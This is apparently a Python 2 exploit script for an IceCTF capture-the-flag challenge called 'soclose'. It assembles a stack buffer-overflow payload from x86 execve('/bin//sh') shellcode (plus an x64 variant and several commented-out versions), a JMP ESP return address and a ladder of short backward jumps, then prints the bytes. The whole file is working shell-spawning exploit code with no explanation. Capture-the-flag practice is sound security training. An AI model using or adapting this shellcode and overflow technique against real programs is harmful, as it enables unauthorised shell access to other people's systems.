icectf-soclose.py

#!/usr/bin/python

# PLOTTING
# JMPESP = "\xBB\xBB\xBB\xBB"
JMPESP = "\x9f\x85\x04\x08"
FORWARD = "\xEB\xF6\xCC\xCC"
# PAYLOAD = "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x90"
# PAYLOAD = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x90"
PAYLOAD = "\x31\xc0\x89\xc2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\xCC"
# PAYLOAD = "\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xCC\xCC\xCC\xCC"
X64_PAYLOAD = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

# out = "\xCC\xCC\xCC"+ X64_PAYLOAD
out = PAYLOAD + JMPESP

# to fix alignment fuckery.
# out += "\xCC\xCC"
# out += JMPESP
out += "\xEB\xE0\x90\x90" # end of the ladder, this one jumps to payload
for i in range(1,30):
    out += JMPESP
    out += FORWARD

out += "\xCC\xCC"

print out,
# print "\xAA" * (0x110-4)